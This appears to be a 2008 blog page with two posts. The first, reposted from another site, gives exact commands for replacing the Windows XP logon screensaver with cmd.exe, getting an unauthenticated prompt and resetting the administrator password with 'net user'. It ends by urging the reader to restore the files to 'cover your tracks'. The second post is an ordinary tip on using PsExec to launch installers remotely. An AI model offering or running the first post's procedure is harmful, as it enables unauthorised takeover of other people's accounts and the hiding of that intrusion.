  • How to Hack a Window XP Admins Password

    Posted on August 4th, 2008 admin No comments

    Ever Wondered That you can hack the admins password?
    Its very possible, Anyone can do it!
    I have found this post on http://internetbusinessdaily.net/how-to-hack-a-window-xp-admins-password/
    Hope you find this useful, As I did

    This is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:
    cd\
    cd\windows\system32
    mkdir temphack
    copy logon.scr temphack\logon.scr
    copy cmd.exe temphack\cmd.exe
    del logon.scr
    rename cmd.exe logon.scr
    exit

    So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

  • Let Users Install Software Without Giving Them Administrator Rights

    Posted on July 30th, 2008 admin 6 comments

    I recently discovered a new way to remotely install software. When users require a program to be installed on their computers, they download the software to their desktops. I then use Sysinternals’ PsExec utility (http://www.sysinternals.com/utilities/psexec.html) to remotely start the execution of the program, but I start the program interactively so that the user who is logged on to the target computer can complete the installation.

    This approach is advantageous because you don’t need to give Administrator privileges to users who need to install software on their computers. When you run PsExec without a username and password, the remote process runs under the same account from which you execute PsExec (in this case, the Administrator account). Because the remote process is impersonating that account, the user won’t have access to network resources on the remote system. (When you specify a username and password, the remote process executes in the specified account and will have access to any network resources that the account has access to.) Using PsExec is handier than using the built-in RunAs command because you don’t need to be physically sitting at a user’s computer.

    To use PsExec to remotely install software, you need to start the installer.exe program with the following command:

    Psexec -i \\targetcomputer
     \\targetcomputer\c$\
     documents and settings\
     username\desktop\installer.exe

    The -i option starts installer.exe interactively for the user currently logged on to the machine specified by targetcomputer.
